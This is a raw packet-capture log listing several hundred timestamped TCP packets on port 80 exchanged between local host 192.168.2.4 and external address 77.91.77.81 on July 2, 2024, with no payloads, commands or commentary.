Jul 2, 2024 15:26:27.549148083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549158096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549185991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549199104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.549222946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.549431086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549441099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549458027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549468040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549482107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.549484968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549494982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549508095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.549510956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.549527884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.549560070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550030947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550043106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550059080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550071001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550084114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550086975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550096035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550101042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550118923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550128937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550128937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550148010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550158978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550164938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550172091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550174952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550189018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550199032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550229073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.550962925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550973892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.550991058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551002979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551017046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551018000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551028967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551031113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551047087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551059008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551060915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551076889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551084995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551086903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551101923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551105022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551126003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551151991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551930904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551943064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551959991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551971912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.551983118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.551984072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552001953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552011013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552012920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552027941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552030087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552045107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552052975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552059889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552073002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552078009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552103043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552125931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552793026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552804947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552818060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552830935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552855968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552870989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552895069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552906036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552922010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552933931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552941084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552949905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552962065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.552963018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552978992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552988052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.552992105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553004980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553033113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553780079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553792953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553809881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553838968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553838968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553883076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553910971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553922892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553935051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553937912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553952932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553952932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553965092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553966999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553982973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.553985119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.553998947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.554006100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.554033041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.554728031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.554739952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.554790974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.589281082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589313984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589348078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589405060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.589492083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589493036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.589504004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589545965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.589725018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589735031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589751959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589764118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589773893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.589778900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.589799881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.589826107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.590152979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.590162992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.590179920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.590192080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.590208054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.590218067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.590251923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.599857092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.599889040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.599920034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.599961042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600056887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600066900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600076914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600085974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600095034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600110054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600146055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600172997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600332022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600344896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600362062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600390911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600414991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600528002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600538015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600581884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600714922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600725889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600742102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600750923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600766897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600768089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.600785017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.600805044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.636863947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.636981010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.636992931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637038946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637073994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637085915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637096882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637145042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637276888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637296915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637310982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637326956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637340069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637346983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637367010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637382030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637681961 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637692928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637711048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637725115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.637732983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637746096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.637780905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638034105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638045073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638062000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638075113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638086081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638113976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638484955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638497114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638513088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638533115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638544083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638557911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638561010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638567924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638571978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638585091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638590097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638602018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638616085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.638628960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.638658047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639303923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639313936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639331102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639344931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639354944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639355898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639372110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639377117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639388084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639398098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639400005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639414072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639415026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639431000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639440060 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.639441013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639481068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.639502048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.640206099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640217066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640229940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640235901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640240908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640245914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640250921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640255928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640273094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640285969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640300989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.640311956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.640352964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641097069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641114950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641129971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641140938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641155958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641156912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641172886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641182899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641185999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641201019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641201973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641213894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641223907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641227007 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641257048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641294956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.641978979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.641989946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642004013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642016888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642028093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642036915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642046928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642066956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642069101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642076969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642086983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642088890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642105103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642106056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642132998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642165899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642895937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642906904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642924070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642936945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642949104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642951012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642967939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642975092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642978907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.642992973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.642996073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643008947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643022060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.643027067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643048048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.643071890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.643701077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643712044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643728971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643740892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.643750906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.643774033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.678771019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.678843021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.678854942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.678860903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.678905010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.678921938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679050922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679064035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679081917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679095030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679102898 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679126024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679168940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679342031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679389000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679428101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679439068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679457903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679469109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679474115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679486036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679498911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679508924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.679527044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.679553032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689630985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689641953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689661026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689671040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689688921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689697981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689712048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689718008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689719915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689719915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689732075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689762115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689779043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:27.689874887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689886093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:27.689896107 CEST	80	49744	77.91.77.81	192.168.2.4
